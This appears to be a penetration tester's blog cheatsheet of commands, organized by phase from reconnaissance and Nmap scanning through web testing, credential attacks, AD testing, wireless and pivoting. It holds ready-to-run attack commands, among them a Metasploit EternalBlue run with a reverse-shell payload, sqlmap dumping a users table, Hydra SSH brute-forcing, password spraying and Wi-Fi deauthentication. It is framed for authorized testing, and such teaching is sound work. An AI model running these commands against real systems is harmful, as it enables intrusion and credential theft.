Extended Penetration Testing Cheatsheet: Comprehensive Commands and Techniques

Abdul Wahab Junaid

2 years ago

If you’ve spent any real time in the field, you know a pentest engagement rarely goes exactly according to the textbook. One client’s network segment behaves nothing like the last one, a scan that took ten minutes on your last box hangs forever on this one, and half your muscle memory commands need a small tweak because of some firewall quirk nobody documented. Over the years I’ve kept my own running notes — the commands I actually reach for, in the order I actually use them, with the flags that actually matter. This post is that notebook, cleaned up and organized so you (or future me) can find what’s needed without digging through ten browser tabs at 2 AM before a report is due.

This is written for people who already understand the basics of networking, Linux, and the legal/ethical boundaries of authorized testing. Everything here assumes you have written permission to test the systems in question. Unauthorized use of these techniques against systems you don’t own or have explicit authorization to test is illegal in most jurisdictions.

Pentesting Methodology Overview
Reconnaissance and OSINT
Network Scanning with Nmap
Vulnerability Scanning
Web Application Testing
Password Attacks and Credential Access
Exploitation Frameworks
Post-Exploitation and Privilege Escalation
Active Directory and Windows Testing
Wireless Testing
Pivoting and Tunneling
Reporting and Documentation
Best Practices and Troubleshooting
Common Mistakes
FAQs
Interview Questions
Printable Quick-Reference Summary
Official Documentation Links

Pentesting Methodology Overview

Every engagement I run follows roughly the same phases, whether it’s a two-day internal assessment or a month-long red team simulation:

Phase	Goal	Typical Tools
Scoping & Rules of Engagement	Define targets, timing, boundaries	Contracts, scope docs
Reconnaissance	Gather public and passive information	theHarvester, Shodan, whois
Scanning & Enumeration	Identify live hosts, ports, services	Nmap, Masscan
Vulnerability Assessment	Map services to known weaknesses	Nessus, OpenVAS, Nuclei
Exploitation	Gain initial access	Metasploit, manual exploits
Post-Exploitation	Escalate privileges, gather data	Mimikatz, LinPEAS, WinPEAS
Lateral Movement	Move across the network	CrackMapExec, PsExec
Reporting	Document findings and remediation	Custom templates, Dradis

I treat this list as a loop, not a straight line — post-exploitation on one host often sends me back to scanning a subnet I hadn’t touched yet.

Reconnaissance and OSINT

Passive recon is where I spend more time than people expect. The less noise you make before you start actively touching infrastructure, the better your picture of the target looks going in.

Domain and DNS Recon

whois example.com
dig example.com ANY
dig axfr @ns1.example.com example.com
nslookup -type=MX example.com

Explanation: whois gives registration info; dig ANY pulls a broad record snapshot (many resolvers now restrict this); the axfr attempt checks for a misconfigured DNS server allowing a full zone transfer — a surprisingly common finding on legacy infrastructure.

Subdomain Enumeration

subfinder -d example.com -silent
amass enum -passive -d example.com
assetfinder --subs-only example.com | httpx -silent

Expected output: A list of resolvable or historically indexed subdomains. I usually pipe subfinder and amass results into a single file, sort and dedupe, then feed the result into httpx to check which are actually alive.

OSINT Tools I Keep in Rotation

theHarvester -d example.com -b all — pulls emails, subdomains, and hosts from search engines and public sources.
Shodan (shodan search, or the web UI) — for exposed services, default banners, and IoT devices.
Google dorking — site:example.com filetype:pdf, intitle:"index of" example.com.
LinkedIn and job postings — often reveal internal tech stack (a job ad for “Splunk administrator” tells you a lot).

Network Scanning with Nmap

Nmap is still the backbone of almost every engagement I run. Here’s the reference table I actually use.

Command	Purpose
`nmap -sn 192.168.1.0/24`	Ping sweep — find live hosts without port scanning
`nmap -sS -p- target`	Full TCP SYN scan across all 65535 ports
`nmap -sU --top-ports 100 target`	Scan top 100 UDP ports
`nmap -sV -sC target`	Service/version detection with default scripts
`nmap -A target`	Aggressive scan (OS detection, version, scripts, traceroute)
`nmap -p 80,443,8080 target`	Scan specific ports
`nmap --script vuln target`	Run vulnerability-detection NSE scripts
`nmap -T4 -Pn target`	Skip host discovery, speed up timing
`nmap -oA scan_results target`	Output in all formats (normal, XML, grepable)

A Real Workflow Example

On a fresh internal engagement, my first few commands typically look like this:

nmap -sn 10.10.10.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d " " -f2 > alive_ips.txt
nmap -sS -sV -sC -p- -iL alive_ips.txt -oA full_scan

Expected output: A structured full_scan.nmap/.xml/.gnmap set of files listing open ports, banners, and any script findings (like anonymous FTP or outdated SMB versions) across every live host. I always keep the .gnmap around — it’s the fastest to grep through later.

NSE Script Categories Worth Knowing

auth — checks for weak or default authentication
vuln — checks for known CVEs
discovery — extra service enumeration
brute — brute-force modules (use cautiously, can lock accounts)

Vulnerability Scanning

Once I know what’s alive and what’s listening, I move to a proper vulnerability scanner rather than relying on Nmap scripts alone.

Tool	Use Case	Example Command
Nessus	Broad infrastructure scanning	GUI-driven, policy-based
OpenVAS	Open-source alternative to Nessus	`gvm-start`, then web UI
Nuclei	Fast, template-based scanning for web/infra	`nuclei -u https://target.com -t cves/`
Nikto	Web server misconfig and outdated software	`nikto -h https://target.com`

Nikto example:

nikto -h https://target.com -o nikto_report.html -Format htm

Expected output: A report flagging outdated server headers, missing security headers (like X-Frame-Options), default files, and known vulnerable paths.

Web Application Testing

This is usually where the bulk of an engagement’s findings live, especially for client-facing applications.

Directory and File Enumeration

gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302

Burp Suite Workflow

I run Burp for nearly every web app test:

Configure browser proxy to 127.0.0.1:8080.
Passively crawl the site while browsing manually.
Send interesting requests to Repeater for manual tampering.
Use Intruder for parameter fuzzing (be mindful of rate limits on client infra).
Check Target > Site Map for hidden endpoints picked up passively.

SQL Injection Testing

sqlmap -u "https://target.com/item?id=1" --batch --dbs
sqlmap -u "https://target.com/item?id=1" -D shopdb --tables
sqlmap -u "https://target.com/item?id=1" -D shopdb -T users --dump

Explanation: The first command enumerates databases, the second lists tables in a chosen database, and the third dumps table contents. --batch accepts sqlmap’s default answers so it doesn’t stop to prompt you.

Common Web Vulnerability Checklist

SQL Injection (error-based, blind, time-based)
Cross-Site Scripting (reflected, stored, DOM-based)
Broken authentication and session management
Insecure Direct Object References (IDOR)
Server-Side Request Forgery (SSRF)
Security misconfigurations (verbose errors, default credentials)
Outdated components with known CVEs

Password Attacks and Credential Access

Credential-based findings show up in almost every internal assessment I’ve run — weak passwords remain the most common way into a network.

Tool	Purpose	Example
Hydra	Online brute-force against services	`hydra -l admin -P rockyou.txt ssh://target`
John the Ripper	Offline hash cracking	`john --wordlist=rockyou.txt hashes.txt`
Hashcat	GPU-accelerated hash cracking	`hashcat -m 1000 hashes.txt rockyou.txt`
CrackMapExec	Credential spraying across a network	`crackmapexec smb 10.10.10.0/24 -u users.txt -p pass.txt`

Hashcat mode reference (a few common ones):

Mode	Hash Type
0	MD5
1000	NTLM
1800	sha512crypt
3200	bcrypt

Expected output: Cracked hashes print to console and are saved to a .pot file (hashcat) or john.pot (John), which you can review with john --show hashes.txt.

Password Spraying Etiquette

I always confirm lockout policies with the client before spraying — one bad sweep across a domain can lock out hundreds of accounts and turn a quiet Tuesday into a very loud incident call.

Exploitation Frameworks

Metasploit Basics

msfconsole
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run

Explanation: This sequence searches for a matching exploit module, configures the remote target and payload, sets your listener IP, and launches the attack. A successful run typically drops you into a Meterpreter session.

Useful Meterpreter Commands

Command	Purpose
`sysinfo`	Show target OS and architecture
`getuid`	Show current privilege context
`hashdump`	Dump local SAM hashes (needs SYSTEM)
`migrate <PID>`	Move session to a more stable process
`download` / `upload`	File transfer
`shell`	Drop to a native command shell

Post-Exploitation and Privilege Escalation

Linux Privilege Escalation Enumeration

./linpeas.sh > linpeas_output.txt
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab

Explanation: linpeas.sh automates dozens of checks (kernel version, SUID binaries, writable cron jobs, credentials in config files). sudo -l shows what the current user can run as root, and the find command hunts for SUID binaries that might be abusable.

Windows Privilege Escalation

whoami /priv
systeminfo
winpeas.exe

Common escalation vectors to check:

Unquoted service paths
Weak service permissions (modifiable binary path)
AlwaysInstallElevated registry keys
Stored credentials in scripts or scheduled tasks

Active Directory and Windows Testing

Since so many internal engagements center on AD, this deserves its own section.

Tool	Purpose	Example
BloodHound	Map AD attack paths visually	Collect with SharpHound, analyze in BloodHound GUI
CrackMapExec	Enumerate shares, sessions, users	`crackmapexec smb target --shares`
enum4linux	SMB/NetBIOS enumeration	`enum4linux -a target`
Impacket suite	Remote execution, ticket abuse	`psexec.py domain/user:pass@target`

Kerberoasting Example

GetUserSPNs.py domain/user:password -dc-ip 10.10.10.1 -request

Expected output: A list of service accounts with Kerberos TGS tickets, output in a crackable hash format you can feed straight into Hashcat mode 13100.

Wireless Testing

airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a <BSSID> wlan0mon
aircrack-ng -w rockyou.txt -b <BSSID> capture.cap

Explanation: This sequence puts the interface into monitor mode, captures handshakes from nearby access points, forces a deauth to trigger a fresh handshake, and then attempts to crack the captured handshake against a wordlist.

Pivoting and Tunneling

Once you have a foothold, reaching deeper network segments often means routing traffic through your compromised host.

ssh -D 9050 user@pivot-host
proxychains nmap -sT -Pn 10.20.30.0/24

# Metasploit's built-in pivoting
use post/multi/manage/autoroute
set SESSION 1
run

Explanation: The SSH dynamic port forward turns the pivot host into a SOCKS proxy; proxychains then routes any tool’s traffic through that tunnel so you can scan and attack subnets your attack box can’t directly reach.

Reporting and Documentation

The best finding in the world is useless if the client can’t act on it. My reports generally include:

Executive summary (non-technical, risk-focused)
Scope and methodology
Findings ranked by severity (CVSS score where applicable)
Reproduction steps with screenshots
Remediation recommendations
Appendix with raw scan output

I keep screenshots and command output organized by host from day one — trying to reconstruct “which command produced this” a week later is a waste of everyone’s time.

Best Practices and Troubleshooting

Always confirm scope in writing before touching a single IP.
Rate-limit noisy scans on production networks — a full -p- Nmap scan can occasionally trip IPS/IDS or even destabilize fragile IoT devices.
Snapshot VMs before testing exploits that could crash a service.
Use -Pn when hosts don’t respond to ICMP but are still reachable on TCP.
Keep separate note files per host — trying to remember which shell is on which box after hour six is a losing game.
If a scan hangs, check firewall state first — -Pn combined with a slower timing template (-T2) often resolves silent drops.
If Metasploit exploits fail silently, double-check RHOSTS/LHOST and confirm the target’s patch level matches what the module expects.

Common Mistakes

Skipping the ping sweep and scanning a huge range with -p- directly, wasting hours.
Running default wordlists without customizing them to the target’s context (company name, product name, common local patterns).
Forgetting to check for IPv6-only services that don’t show up in an IPv4-only scan.
Not verifying findings manually before writing them into a report (automated scanners produce false positives constantly).
Failing to clean up shells, scheduled tasks, and added accounts after the engagement — leaving a subtly worse security posture than before you started.

FAQs

Is Nmap scanning illegal? Scanning networks you don’t own or have written authorization to test is illegal in most countries. Always work within a signed scope agreement.

What’s the difference between a vulnerability scan and a penetration test? A vulnerability scan identifies potential weaknesses automatically; a penetration test goes further, attempting to exploit those weaknesses to demonstrate real-world impact.

Do I need to know how to code to be a pentester? Not strictly, but scripting (Python, Bash, PowerShell) massively speeds up custom enumeration and exploit development.

What certifications are respected in this field? OSCP, CEH, GPEN, and eJPT are commonly recognized; OSCP in particular is well regarded for its hands-on exam format.

How do I practice legally? Platforms like Hack The Box, TryHackMe, and VulnHub provide legal, purpose-built environments for practicing these exact techniques.

Interview Questions

Walk me through your methodology for a black-box external assessment.
How would you enumerate a Windows domain with only a low-privilege user account?
Explain the difference between a reflected and stored XSS vulnerability.
What’s your process for privilege escalation on a Linux host with no obvious SUID binaries?
How do you handle a client’s production environment being unstable during a scan?
Describe how Kerberoasting works and how you’d defend against it.
What’s the difference between -sS and -sT scans in Nmap, and when would you choose one over the other?
How would you pivot from a DMZ host into an internal network segment?

Printable Quick-Reference Summary

RECON:      whois, dig, subfinder, theHarvester
SCANNING:   nmap -sS -sV -sC -p- target
VULN SCAN:  nuclei, nikto, nessus
WEB:        gobuster, ffuf, sqlmap, burp suite
CREDS:      hydra, hashcat, john, crackmapexec
EXPLOIT:    msfconsole, exploit-db
POST-EXP:   linpeas.sh, winpeas.exe, mimikatz
AD:         bloodhound, enum4linux, impacket
PIVOT:      ssh -D, proxychains, autoroute
REPORT:     findings by severity + repro steps

Keep this list taped next to your monitor — or, more realistically, pinned in whatever note-taking app you actually check mid-engagement.

Official Documentation Links

Nmap: https://nmap.org/book/man.html
Metasploit Framework: https://docs.metasploit.com/
Burp Suite: https://portswigger.net/burp/documentation
sqlmap: https://github.com/sqlmapproject/sqlmap/wiki
Hashcat: https://hashcat.net/wiki/
John the Ripper: https://www.openwall.com/john/doc/
BloodHound: https://bloodhound.readthedocs.io/
Impacket: https://github.com/fortra/impacket
OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/

Every one of these commands is a starting point, not a guarantee — real engagements always throw in something the cheatsheet didn’t cover. That’s half the reason I keep updating this list instead of trusting a static PDF from three years ago. If you’re building your own version of this, my honest advice is to actually run each command against a lab environment (Hack The Box, TryHackMe, a home lab VM) until the syntax is muscle memory, not something you have to look up under pressure.

Table of Contents